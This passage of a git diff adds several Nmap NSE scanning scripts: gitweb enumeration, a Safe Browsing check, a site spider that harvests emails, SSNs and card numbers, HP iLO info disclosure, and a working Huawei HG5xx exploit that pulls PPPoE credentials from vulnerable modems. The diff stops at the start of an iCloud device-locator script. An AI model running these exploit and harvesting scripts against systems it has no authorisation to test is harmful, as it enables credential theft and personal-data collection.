+-- | camui/san.git devteam no description
+-- | albert/tdx.git/.git blueteam no description
+-- |
+-- | Number of projects: 172
+-- |_ Number of owners: 42
+--
+-- @args http-gitweb-projects-enum.path specifies the location of gitweb
+-- (default: /)
+
+author = "riemann"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.http
+
+---
+-- @param author bloc (if author name are too long we have a span bloc)
+-- @return author name filtred from html entities
+---
+get_owner = function(res)
+ local result=res
+ local _
+ if ( res:match('<span') ) then
+ _,_,result=string.find(res,'title="(.-)"')
+ end
+ return result
+end
+
+action = function(host, port)
+
+ local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or '/'
+ local response = http.get(host,port,path)
+ local result, result_stats = {}, {}
+
+ if not response or not response.status or response.status ~= 200 or
+ not response.body then
+ stdnse.debug1("Failed to retrieve file: %s", path)
+ return
+ end
+
+ local html = response.body
+ local repo=tab.new()
+ tab.addrow(repo,'PROJECT','AUTHOR','DESCRIPTION')
+
+ -- verif generator
+ if (html:match('meta name="generator" content="gitweb(.-)"')) then
+ result['name'] = string.format("Projects from %s:", host.targetname or host.ip)
+
+ local owners, projects_counter, owners_counter = {}, 0, 0
+
+ for tr_code in html:gmatch('(%<tr[^<>]*%>(.-)%</tr%>)') do
+ local regx='<a[^<>]*href="(.-)">(.-)</a>(.-)title="(.-)"(.-)<i>(.-)</i>'
+ for _, project, _, desc, _, owner in tr_code:gmatch(regx) do
+
+ --if desc result return default text of gitweb replace it by no description
+ if(string.find(desc,'Unnamed repository')) then
+ desc='no description'
+ end
+
+ tab.addrow(repo, project, get_owner(owner), desc)
+
+ -- Protect from parsing errors or long owners
+ -- just an arbitrary value
+ if owner:len() < 128 and not owners[owner] then
+ owners[owner] = true
+ owners_counter = owners_counter + 1
+ end
+
+ projects_counter = projects_counter + 1
+ end
+ end
+
+ table.insert(result,tab.dump(repo))
+ table.insert(result, "")
+ table.insert(result,
+ string.format("Number of projects: %d", projects_counter))
+ if (owners_counter > 0 ) then
+ table.insert(result,
+ string.format("Number of owners: %d", owners_counter))
+ end
+
+ end
+ return stdnse.format_output(true,result)
+end
diff --git a/scripts/http-google-malware.nse b/scripts/http-google-malware.nse
new file mode 100644
index 0000000..7006fd6
--- /dev/null
+++ b/scripts/http-google-malware.nse
@@ -0,0 +1,109 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Checks if hosts are on Google's blacklist of suspected malware and phishing
+servers. These lists are constantly updated and are part of Google's Safe
+Browsing service.
+
+To do this the script queries the Google's Safe Browsing service and you need
+to have your own API key to access Google's Safe Browsing Lookup services. Sign
+up for yours at http://code.google.com/apis/safebrowsing/key_signup.html
+
+* To learn more about Google's Safe Browsing:
+http://code.google.com/apis/safebrowsing/
+
+* To register and get your personal API key:
+http://code.google.com/apis/safebrowsing/key_signup.html
+]]
+
+---
+-- @usage
+-- nmap -p80 --script http-google-malware <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- |_http-google-malware.nse: Host is known for distributing malware.
+--
+-- @args http-google-malware.url URL to check. Default: <code>http/https</code>://<code>host</code>
+-- @args http-google-malware.api API key for Google's Safe Browsing Lookup service
+---
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"malware", "discovery", "safe", "external"}
+
+
+portrule = shortport.http
+
+---#########################
+--ENTER YOUR API KEY HERE #
+---#########################
+local APIKEY = ""
+---#########################
+
+--Builds Google Safe Browsing query
+--@param apikey Api key
+--@return Url
+local function build_qry(apikey, url)
+ return string.format("https://sb-ssl.google.com/safebrowsing/api/lookup?client=%s&apikey=%s&appver=1.5.2&pver=3.0&url=%s", SCRIPT_NAME, apikey, url)
+end
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+---
+--MAIN
+---
+action = function(host, port)
+ local apikey = stdnse.get_script_args("http-google-malware.api") or APIKEY
+ local malware_found = false
+ local target
+ local output_lns = {}
+
+ --Use the host IP if a hostname isn't available
+ if not(host.targetname) then
+ target = host.ip
+ else
+ target = host.targetname
+ end
+
+ local target_url = stdnse.get_script_args("http-google-malware.url") or string.format("%s://%s", port.service, target)
+
+ if string.len(apikey) < 25 then
+ return fail(("No API key found. Use the %s.api argument"):format(SCRIPT_NAME))
+ end
+
+ stdnse.debug1("Checking host %s", target_url)
+ local qry = build_qry(apikey, target_url)
+ local req = http.get_url(qry, {any_af=true})
+ stdnse.debug2("%s", qry)
+
+ if ( req.status > 400 ) then
+ return fail("Request failed (invalid API key?)")
+ end
+
+ --The Safe Lookup API responds with a type when site is on the lists
+ if req.body then
+ if http.response_contains(req, "malware") then
+ output_lns[#output_lns+1] = "Host is known for distributing malware."
+ malware_found = true
+ end
+ if http.response_contains(req, "phishing") then
+ output_lns[#output_lns+1] = "Host is known for being used in phishing attacks."
+ malware_found = true
+ end
+ end
+ --For the verbose lovers
+ if req.status == 204 and nmap.verbosity() >= 2 and not(malware_found) then
+ output_lns[#output_lns+1] = "Host is safe to browse."
+ end
+
+ if #output_lns > 0 then
+ return table.concat(output_lns, "\n")
+ end
+end
diff --git a/scripts/http-grep.nse b/scripts/http-grep.nse
new file mode 100644
index 0000000..75785df
--- /dev/null
+++ b/scripts/http-grep.nse
@@ -0,0 +1,326 @@
+local string = require "string"
+local httpspider = require "httpspider"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local tableaux = require "tableaux"
+
+
+description = [[
+Spiders a website and attempts to match all pages and urls against a given
+string. Matches are counted and grouped per url under which they were
+discovered.
+
+Features built in patterns like email, ip, ssn, discover, amex and more.
+The script searches for email and ip by default.
+
+]]
+
+---
+-- @usage
+-- nmap -p 80 www.example.com --script http-grep --script-args='match="[A-Za-z0-9%.%%%+%-]+@[A-Za-z0-9%.%%%+%-]+%.%w%w%w?%w?",breakonmatch'
+-- nmap -p 80 www.example.com --script http-grep --script-args 'http-grep.builtins ={"mastercard", "discover"}, http-grep.url="example.html"'
+-- @output
+-- | http-grep:
+-- | (1) https://nmap.org/book/man-bugs.html:
+-- | (1) email:
+-- | + dev@nmap.org
+-- | (1) https://nmap.org/book/install.html:
+-- | (1) email:
+-- | + fyodor@nmap.org
+-- | (16) https://nmap.org/changelog.html:
+-- | (7) ip:
+-- | + 255.255.255.255
+-- | + 10.99.24.140
+-- | + 74.125.53.103
+-- | + 64.147.188.3
+-- | + 203.65.42.255
+-- | + 192.31.33.7
+-- | + 168.0.40.135
+-- | (9) email:
+-- | + d1n@inbox.com
+-- | + fyodor@insecure.org
+-- | + uce@ftc.gov
+-- | + rhundt@fcc.gov
+-- | + jquello@fcc.gov
+-- | + sness@fcc.gov
+-- | + president@whitehouse.gov
+-- | + haesslich@loyalty.org
+-- | + rchong@fcc.gov
+-- | (6) https://nmap.org/5/#5changes:
+-- | (6) ip:
+-- | + 207.68.200.30
+-- | + 64.13.134.52
+-- | + 4.68.105.6
+-- | + 209.245.176.2
+-- | + 69.63.179.23
+-- |_ + 69.63.180.12
+--
+--
+-- @args http-grep.match the string to match in urls and page contents or list of patterns separated by delimiter
+-- @args http-grep.maxdepth the maximum amount of directories beneath
+-- the initial url to spider. A negative value disables the limit.
+-- (default: 3)
+-- @args http-grep.maxpagecount the maximum amount of pages to visit.
+-- A negative value disables the limit (default: 20)
+-- @args http-grep.url the url to start spidering. This is a URL
+-- relative to the scanned host eg. /default.html (default: /)
+-- @args http-grep.withinhost only spider URLs within the same host.
+-- (default: true)
+-- @args http-grep.withindomain only spider URLs within the same
+-- domain. This widens the scope from <code>withinhost</code> and can
+-- not be used in combination. (default: false)
+-- @args http-grep.breakonmatch Returns output if there is a match for a single pattern type.
+-- @args http-grep.builtins supply a single or a list of built in types. supports email, phone, mastercard, discover,
+-- visa, amex, ssn and ip addresses. If you just put in script-args http-grep.builtins then all will be enabled.
+--
+-- @xmloutput
+-- <table key="(1) https://nmap.org/book/man-bugs.html">
+-- <table key="(1) email">
+-- <elem>+ dev@nmap.org</elem>
+-- </table>
+-- </table>
+-- <table key="(1) https://nmap.org/book/install.html">
+-- <table key="(1) email">
+-- <elem>+ fyodor@nmap.org</elem>
+-- </table>
+-- </table>
+-- <table key="(16) https://nmap.org/changelog.html">
+-- <table key="(7) ip">
+-- <elem>+ 255.255.255.255</elem>
+-- <elem>+ 10.99.24.140</elem>
+-- <elem>+ 74.125.53.103</elem>
+-- <elem>+ 64.147.188.3</elem>
+-- <elem>+ 203.65.42.255</elem>
+-- <elem>+ 192.31.33.7</elem>
+-- <elem>+ 168.0.40.135</elem>
+-- </table>
+-- <table key="(9) email">
+-- <elem>+ d1n@inbox.com</elem>
+-- <elem>+ fyodor@insecure.org</elem>
+-- <elem>+ uce@ftc.gov</elem>
+-- <elem>+ rhundt@fcc.gov</elem>
+-- <elem>+ jquello@fcc.gov</elem>
+-- <elem>+ sness@fcc.gov</elem>
+-- <elem>+ president@whitehouse.gov</elem>
+-- <elem>+ haesslich@loyalty.org</elem>
+-- <elem>+ rchong@fcc.gov</elem>
+-- </table>
+-- </table>
+-- <table key="(6) https://nmap.org/5/#5changes">
+-- <table key="(6) ip">
+-- <elem>+ 207.68.200.30</elem>
+-- <elem>+ 64.13.134.52</elem>
+-- <elem>+ 4.68.105.6</elem>
+-- <elem>+ 209.245.176.2</elem>
+-- <elem>+ 69.63.179.23</elem>
+-- <elem>+ 69.63.180.12</elem>
+-- </table>
+-- </table>
+
+author = {"Patrik Karlsson", "Gyanendra Mishra"}
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "safe"}
+
+
+portrule = shortport.http
+
+-- Shortens a matching string if it exceeds 60 characters
+-- All characters after 60 will be replaced with ...
+local function shortenMatch(match)
+ if ( #match > 60 ) then
+ return match:sub(1, 60) .. " ..."
+ else
+ return match
+ end
+end
+
+-- A function to validate IP addresses.
+local function ip(matched_ip)
+ local oct_1, oct_2, oct_3, oct_4 = matched_ip:match('(%d%d?%d?)%.(%d%d?%d?)%.(%d%d?%d)%.(%d%d?%d?)')
+ oct_1, oct_2, oct_3, oct_4 = tonumber(oct_1), tonumber(oct_2), tonumber(oct_3), tonumber(oct_4)
+ if oct_1 > 255 or oct_2 > 255 or oct_3 > 255 or oct_4 > 255 then
+ return false
+ end
+ return true
+end
+
+-- A function to validate credit card numbers.
+local function luhn(matched_ccno)
+ local ccno = matched_ccno:gsub("%D", ""):reverse()
+ local sum = 0
+ for i = 1, #ccno do
+ local d = tonumber(ccno:sub(i,i))
+ if i % 2 == 0 then
+ local dd = 2 * d
+ d = dd // 10 + dd % 10
+ end
+ sum = sum + d
+ end
+ return sum % 10 == 0
+end
+
+-- A function to validate ssn numbers.
+local bad_ssn = {
+ -- https://www.ssa.gov/history/ssn/misused.html
+ ["078-05-1120"] = true,
+ ["219-09-9999"] = true,
+ -- Obvious fakes
+ ["123-12-1234"] = true,
+ ["123-45-6789"] = true,
+ ["321-21-4321"] = true,
+ ["111-11-1111"] = true,
+ ["222-22-2222"] = true,
+ ["333-33-3333"] = true,
+ ["444-44-4444"] = true,
+ ["555-55-5555"] = true,
+ ["666-66-6666"] = true,
+ ["777-77-7777"] = true,
+ ["888-88-8888"] = true,
+ ["999-99-9999"] = true,
+}
+local bad_group_1 = {
+ ["000"] = true,
+ ["333"] = true,
+ ["666"] = true,
+}
+local function ssn(matched_ssn)
+ if bad_ssn[matched_ssn] then return false end
+ local group_1, group_2, group_3 = matched_ssn:match('(%d%d%d)%-(%d%d)%-(%d%d%d%d)')
+ if bad_group_1[group_1] then return false end
+ if group_2 == "00" or group_3 == "0000" then return false end
+ group_1 = tonumber(group_1)
+ -- This line rules out ITINs, which may also be of interest.
+ if 900 <= group_1 and group_1 <= 999 then return false end
+ return true
+end
+
+-- The default function if there is no validator.
+local function default()
+ return true
+end
+
+action = function(host, port)
+ -- a list of popular patterns with their validators.
+ local BUILT_IN_PATTERNS = {
+ ['email'] = {'[A-Za-z0-9%.%%%+%-]+@[A-Za-z0-9%.%%%+%-]+%.%w%w%w?%w?'},
+ ['phone'] = {'%f[%d]%d%d%d%-%d%d%d%d%f[^%d]','%f[%d%(]%(%d%d%d%)%s%d%d%d%-%d%d%d%f[^%d]','%f[%d%+]%+%-%d%d%d%-%d%d%d%-%d%d%d%d%f[^%d]','%d%d%d%-%d%d%d%-%d%d%d%d%f[^%d]'},
+ ['mastercard']= {'%f[%d]5%d%d%d%s?%-?%d%d%d%d%s?%-?%d%d%d%d%s?%-?%d%d%d%d%f[^%d]', ['validate'] = luhn},
+ ['visa'] = {'%f[%d]4%d%d%d%s?%-?%d%d%d%d%s?%-?%d%d%d%d%s?%-?%d%d%d%d%f[^%d]', ['validate'] = luhn},
+ ['discover']={'%f[%d]6011%s?%-?%d%d%d%d%s?%-?%d%d%d%d%s?%-?%d%d%d%d%f[^%d]', ['validate'] = luhn},
+ ['amex'] ={'%f[%d]3%d%d%d%s?%-?%d%d%d%d%d%d%s?%-?%d%d%d%d%d%f[^%d]', ['validate'] = luhn},
+ ['ssn'] = {'%f[%d]%d%d%d%-%d%d%-%d%d%d%d%f[^%d]', ['validate'] = ssn},
+ ['ip']={'%f[%d]%d%d?%d?%.%d%d?%d?%.%d%d?%d%.%d%d?%d?%f[^%d]', ['validate'] = ip},
+ }
+
+ -- read script specific arguments
+ local match = stdnse.get_script_args(SCRIPT_NAME .. ".match")
+ local break_on_match = stdnse.get_script_args(SCRIPT_NAME .. ".breakonmatch")
+ local builtins = stdnse.get_script_args(SCRIPT_NAME .. ".builtins")
+ local to_be_searched = {}
+
+ local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
+ local results = stdnse.output_table()
+ local all_match = {} -- a table that stores all matches. used to eliminate duplicates.
+
+ -- check if builtin argument is a table or a single value
+ if builtins and builtins == 1 then
+ for name, patterns in pairs(BUILT_IN_PATTERNS) do
+ to_be_searched[name] = {}
+ for _, pattern in ipairs(patterns) do
+ table.insert(to_be_searched[name], pattern)
+ end
+ end
+ elseif builtins and type(builtins) ~= 'table' then
+ if BUILT_IN_PATTERNS[builtins] ~= nil then
+ to_be_searched[builtins] = {}
+ for _, pattern in ipairs(BUILT_IN_PATTERNS[builtins]) do
+ table.insert(to_be_searched[builtins], pattern)
+ end
+ end
+ elseif builtins and type(builtins) == 'table' then
+ for _, builtin in ipairs(builtins) do
+ if BUILT_IN_PATTERNS[builtin] ~= nil then
+ to_be_searched[builtin] = {}
+ for _, pattern in ipairs(BUILT_IN_PATTERNS[builtin]) do
+ table.insert(to_be_searched[builtin], pattern)
+ end
+ end
+ end
+ end
+
+ -- check if match argument is a table or a single value
+ if match and type(match) ~= 'table' then
+ to_be_searched['User Pattern 1'] = {}
+ table.insert(to_be_searched['User Pattern 1'], match)
+ elseif type(match) == 'table' then
+ for i, pattern in pairs(match) do
+ local k = 'User Pattern ' .. tostring(i)
+ to_be_searched[k] = {}
+ table.insert(to_be_searched[k], pattern)
+ end
+ end
+
+ -- if nothing is specified then email and ip are checked.
+ if not next(to_be_searched) then
+ to_be_searched['email'] = {}
+ to_be_searched['ip'] = {}
+ table.insert(to_be_searched['email'], BUILT_IN_PATTERNS["email"][1])
+ table.insert(to_be_searched['ip'], BUILT_IN_PATTERNS["ip"][1])
+ end
+
+ -- set timeout to 10 seconds
+ crawler:set_timeout(10000)
+
+ while(true) do
+ local status, r = crawler:crawl()
+ -- if the crawler fails it can be due to a number of different reasons
+ -- most of them are "legitimate" and should not be reason to abort
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+ local count = 0 -- pattern matches per url
+ local pattern_count = 0 -- number of matches for particual pattern type say 'email'
+ local matches = {} -- a table that stores matches for all pattern types
+ local pattern_type = {} -- a table that resets for every pattern type
+ for pattern_name, pattern_table in pairs(to_be_searched) do
+ pattern_type = {}
+ pattern_count = 0
+ for _, pattern in ipairs(pattern_table) do
+ local body = r.response.body
+ -- try to match the url and body
+ if body and ( body:match( pattern ) or tostring(r.url):match(pattern) ) then
+ pattern_count = select(2, body:gsub(pattern, ""))
+ count = count + pattern_count
+ for match in body:gmatch(pattern) do
+ local validate = BUILT_IN_PATTERNS[pattern_name]and BUILT_IN_PATTERNS[pattern_name]['validate'] or default
+ if validate(match) and not tableaux.contains(all_match, match) then
+ table.insert(pattern_type, "+ " .. shortenMatch(match))
+ table.insert(all_match, match)
+ else
+ count = count - 1
+ pattern_count = pattern_count - 1
+ end
+ end
+ end
+ end
+ if pattern_count > 0 then
+ matches[("(%d) %s"):format(pattern_count, pattern_name)] = pattern_type
+ end
+ end
+ if count > 0 then
+ results[("(%d) %s"):format(count,tostring(r.url))] = matches
+ end
+ -- should we continue to search for matches?
+ if break_on_match and pattern_count > 0 then
+ crawler:stop()
+ break
+ end
+ end
+ if #results > 0 then return results end
+end
+
diff --git a/scripts/http-headers.nse b/scripts/http-headers.nse
new file mode 100644
index 0000000..420c25a
--- /dev/null
+++ b/scripts/http-headers.nse
@@ -0,0 +1,66 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+
+description = [[
+Performs a HEAD request for the root folder ("/") of a web server and displays the HTTP headers returned.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-headers:
+-- | Date: Fri, 25 Jan 2013 17:39:08 GMT
+-- | Server: Apache/2.2.14 (Ubuntu)
+-- | Accept-Ranges: bytes
+-- | Vary: Accept-Encoding
+-- | Connection: close
+-- | Content-Type: text/html
+-- |
+-- |_ (Request type: HEAD)
+--
+--@args path The path to request, such as <code>/index.php</code>. Default <code>/</code>.
+--@args useget Set to force GET requests instead of HEAD.
+--
+--@see http-security-headers.nse
+
+author = "Ron Bowes"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"discovery", "safe"}
+
+portrule = shortport.http
+
+local function fail (err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+ local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/"
+ local useget = stdnse.get_script_args(SCRIPT_NAME..".useget")
+ local request_type = "HEAD"
+ local status = false
+ local result
+
+ -- Check if the user didn't want HEAD to be used
+ if(useget == nil) then
+ -- Try using HEAD first
+ status, result = http.can_use_head(host, port, nil, path)
+ end
+
+ -- If head failed, try using GET
+ if(status == false) then
+ stdnse.debug1("HEAD request failed, falling back to GET")
+ result = http.get(host, port, path)
+ request_type = "GET"
+ end
+
+ if not (result and result.status) then
+ return fail("Header request failed")
+ end
+
+ table.insert(result.rawheader, "(Request type: " .. request_type .. ")")
+
+ return stdnse.format_output(true, result.rawheader)
+end
diff --git a/scripts/http-hp-ilo-info.nse b/scripts/http-hp-ilo-info.nse
new file mode 100644
index 0000000..1113bc1
--- /dev/null
+++ b/scripts/http-hp-ilo-info.nse
@@ -0,0 +1,120 @@
+description = [[
+Attempts to extract information from HP iLO boards including versions and addresses.
+
+HP iLO boards have an unauthenticated info disclosure at <ip>/xmldata?item=all.
+It lists board informations such as server model, firmware version,
+MAC addresses, IP addresses, etc. This script uses the slaxml library
+to parse the iLO xml file and display the info.
+]]
+
+---
+--@usage nmap --script hp-ilo-info -p 80 <target>
+--
+--@usage nmap --script hp-ilo-info -sV <target>
+--
+--@output
+--PORT STATE SERVICE
+--80/tcp open http
+--| ilo-info:
+--| ServerType: ProLiant MicroServer Gen8
+--| ProductID: XXXXXX-XXX
+--| UUID: XXXXXXXXXXXXXXXX
+--| cUUID: XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXX
+--| ILOType: Integrated Lights-Out 4 (iLO 4)
+--| ILOFirmware: X.XX
+--| SerialNo: ILOXXXXXXXXXX
+--| NICs:
+--| NIC 1:
+--| Description: iLO 4
+--| MacAddress: 12:34:56:78:9a:bc
+--| IPAddress: 10.10.10.10
+--| Status: OK
+--| NIC 2:
+--| Description: iLo 4
+--| MacAddress: 11:22:33:44:55:66
+--| IPAddress: Unknown
+--|_ Status: Disabled
+--
+
+author = "Rajeev R Menon"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe","discovery"}
+
+local http = require "http"
+local slaxml = require "slaxml"
+local stdnse = require "stdnse"
+local shortport = require "shortport"
+
+portrule = shortport.http
+
+function getTag(table,tag)
+ for _,n in ipairs(table.kids) do
+ if n.type == "element" and n.name == tag then
+ return n
+ elseif n.type == "element" then
+ local ret = getTag(n,tag)
+ if ret ~= nil then return ret end
+ end
+ end
+ return nil
+end
+
+function parseXML(dom)
+ local response = stdnse.output_table()
+ local info = stdnse.output_table()
+ info['ServerType'] = getTag(dom,"SPN")
+ info['ProductID'] = getTag(dom,"PRODUCTID")
+ info['UUID'] = getTag(dom,"UUID")
+ info['cUUID'] = getTag(dom,"cUUID")
+ info['ILOType'] = getTag(dom,"PN")
+ info['ILOFirmware'] = getTag(dom,"FWRI")
+ info['SerialNo'] = getTag(dom,"SN")
+
+ for key,_ in pairs(info) do
+ if info[key] ~= nil then
+ response[tostring(key)] = info[key].kids[1].value
+ end
+ end
+
+ response.NICs = stdnse.output_table()
+ local nicdom = getTag(dom,"NICS")
+ if nicdom ~= nil then
+ local count = 1
+ for _,n in ipairs(nicdom.kids) do
+ local nic = stdnse.output_table()
+ info = stdnse.output_table()
+ for k,m in ipairs(n.kids) do
+ if #m.kids >= 1 and m.kids[1].type == "text" then
+ if m.name == "DESCRIPTION" then
+ info["Description"] = m.kids[1].value
+ elseif m.name == "MACADDR" then
+ info["MacAddress"] = m.kids[1].value
+ elseif m.name == "IPADDR" then
+ info["IPAddress"] = m.kids[1].value
+ elseif m.name == "STATUS" then
+ info["Status"] = m.kids[1].value
+ end
+ end
+ end
+ for key,_ in pairs(info) do
+ nic[tostring(key)] = info[key]
+ end
+ response.NICs["NIC "..tostring(count)] = nic
+ count = count + 1
+ end
+ end
+ return response
+end
+
+action = function(host,port)
+ local response = http.get(host,port,"/xmldata?item=all")
+ if response["status"] ~= 200
+ or not response.body
+ or not response.body:match('<RIMP>')
+ or not response.body:match('iLO')
+ then
+ return
+ end
+ local domtable = slaxml.parseDOM(response["body"],{stripWhitespace=true})
+ return parseXML(domtable)
+end
diff --git a/scripts/http-huawei-hg5xx-vuln.nse b/scripts/http-huawei-hg5xx-vuln.nse
new file mode 100644
index 0000000..fdc42db
--- /dev/null
+++ b/scripts/http-huawei-hg5xx-vuln.nse
@@ -0,0 +1,131 @@
+description = [[
+Detects Huawei modems models HG530x, HG520x, HG510x (and possibly others...)
+vulnerable to a remote credential and information disclosure vulnerability. It
+also extracts the PPPoE credentials and other interesting configuration values.
+
+Attackers can query the URIs "/Listadeparametros.html" and "/wanfun.js" to
+extract sensitive information including PPPoE credentials, firmware version,
+model, gateway, dns servers and active connections among other values.
+
+This script exploits two vulnerabilities. One was discovered and reported by
+Adiaz from Comunidad Underground de Mexico (http://underground.org.mx) and it
+allows attackers to extract the pppoe password. The configuration disclosure
+vulnerability was discovered by Pedro Joaquin (http://hakim.ws).
+
+References:
+* http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure
+* http://routerpwn.com/#huawei
+]]
+
+---
+-- @usage nmap -p80 --script http-huawei-hg5xx-vuln <target>
+-- @usage nmap -sV http-huawei-hg5xx-vuln <target>
+--
+-- @output
+-- PORT STATE SERVICE VERSION
+-- 80/tcp open http Huawei aDSL modem EchoLife HG530 (V100R001B122gTelmex) 4.07 -- UPnP/1.0 (ZyXEL ZyWALL 2)
+-- | http-huawei-hg5xx-vuln:
+-- | VULNERABLE:
+-- | Remote credential and information disclosure in modems Huawei HG5XX
+-- | State: VULNERABLE (Exploitable)
+-- | Description:
+-- | Modems Huawei 530x, 520x and possibly others are vulnerable to remote credential and information disclosure.
+-- | Attackers can query the URIs "/Listadeparametros.html" and "/wanfun.js" to extract sensitive information
+-- | including PPPoE credentials, firmware version, model, gateway, dns servers and active connections among other values
+-- | Disclosure date: 2011-01-1
+-- | Extra information:
+-- |
+-- | Model:EchoLife HG530
+-- | Firmware version:V100R001B122gTelmex
+-- | External IP:xxx.xxx.xx.xxx
+-- | Gateway IP:xxx.xx.xxx.xxx
+-- | DNS 1:200.33.146.249
+-- | DNS 2:200.33.146.241
+-- | Network segment:192.168.1.0
+-- | Active ethernet connections:0
+-- | Active wireless connections:3
+-- | BSSID:0xdeadbeefcafe
+-- | Wireless Encryption (Boolean):1
+-- | PPPoE username:xxx
+-- | PPPoE password:xxx
+-- | References:
+-- | http://routerpwn.com/#huawei
+-- |_ http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure
+---
+
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"exploit","vuln"}
+
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local string = require "string"
+local vulns = require "vulns"
+local stdnse = require "stdnse"
+
+portrule = shortport.http
+
+action = function(host, port)
+ local vuln = {
+ title = 'Remote credential and information disclosure in modems Huawei HG5XX',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+Modems Huawei 530x, 520x and possibly others are vulnerable to remote credential and information disclosure.
+Attackers can query the URIs "/Listadeparametros.html" and "/wanfun.js" to extract sensitive information
+including PPPoE credentials, firmware version, model, gateway, dns servers and active connections among other values.]],
+ references = {
+ 'http://routerpwn.com/#huawei',
+ 'http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure'
+ },
+ dates = {
+ disclosure = {year = '2011', month = '01', day = '1'},
+ },
+ }
+
+ -- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
+ local status_404, result_404, _ = http.identify_404(host,port)
+ if ( status_404 and result_404 == 200 ) then
+ stdnse.debug1("Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", host.ip, port.number)
+ return nil
+ end
+
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+ local open_session = http.get(host, port, "/Listadeparametros.html")
+ if open_session and open_session.status == 200 then
+ local _, _, pppoe_user = string.find(open_session.body, 'Usuario PPPoE:</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local _, _, model = string.find(open_session.body, 'Modelo de m\195\179dem:</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local _, _, firmware_version = string.find(open_session.body, 'Versi\195\179n de Firmware:</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local _, _, gateway = string.find(open_session.body, 'Puerta de Enlace de Internet:</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local _, _, ip = string.find(open_session.body, 'IP de Internet del m\195\179dem:</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local _, _, dns1 = string.find(open_session.body, 'DNS Primario:</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local _, _, dns2 = string.find(open_session.body, 'DNS Secundario:</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local _, _, network_segment = string.find(open_session.body, 'Segmento de Red Local:</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local _, _, active_ethernet = string.find(open_session.body, 'Conexiones Ethernet Activas:</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local _, _, active_wireless = string.find(open_session.body, 'Conexiones Inal\195\161mbricas Activas:</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local _, _, ssid = string.find(open_session.body, 'Nombre de Red Inal\195\161mbrica %(SSID%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local _, _, encryption = string.find(open_session.body, 'Encriptaci\195\179n Activada %(0: No, 1:S\195\173%):</td><TD class=tablerowvalue>\n(.-)</td></tr><tr>')
+ local info = string.format("\nModel:%s\nFirmware version:%s\nExternal IP:%s\nGateway IP:%s\nDNS 1:%s\nDNS 2:%s\n"..
+ "Network segment:%s\nActive ethernet connections:%s\nActive wireless connections:%s\nBSSID:%s\nWireless Encryption (Boolean):%s\nPPPoE username:%s\n",
+ model, firmware_version, ip, gateway, dns1, dns2, network_segment, active_ethernet, active_wireless, ssid, encryption, pppoe_user)
+ --Checks if the username string was extracted. If its null, the modem is not vulnerable and we should exit.
+ if pppoe_user then
+ vuln.state = vulns.STATE.EXPLOIT
+ else
+ stdnse.debug1("Username string was not found in this page. Exiting.")
+ return vuln_report:make_output(vuln)
+ end
+
+ local ppp = http.get(host, port, "/wanfun.js")
+ if ppp.status and ppp.status == 200 then
+ local _, _, ppp_pwd = string.find(ppp.body, 'var pwdppp = "(.-)"')
+ info = string.format("%sPPPoE password:%s", info, ppp_pwd)
+ end
+ if firmware_version and model then
+ port.version.product = string.format("Huawei aDSL modem %s (%s)", model, firmware_version)
+ nmap.set_port_version(host, port)
+ end
+ vuln.extra_info = info
+ return vuln_report:make_output(vuln)
+ end
+end
diff --git a/scripts/http-icloud-findmyiphone.nse b/scripts/http-icloud-findmyiphone.nse
new file mode 100644
index 0000000..beed634
--- /dev/null
+++ b/scripts/http-icloud-findmyiphone.nse
@@ -0,0 +1,87 @@
+local mobileme = require "mobileme"
+local datetime = require "datetime"
+local stdnse = require "stdnse"
+local tab = require "tab"
+
+description = [[
+Retrieves the locations of all "Find my iPhone" enabled iOS devices by querying
+the MobileMe web service (authentication required).
+]]
+
+---
+-- @usage
+-- nmap -sn -Pn --script http-icloud-findmyiphone --script-args='username=<user>,password=<pass>'
+--
+-- @output
+-- Pre-scan script results:
+-- | http-icloud-findmyiphone:
+-- | name location accuracy date type
+-- | Patrik Karlsson's MacBook Air -,- - - -
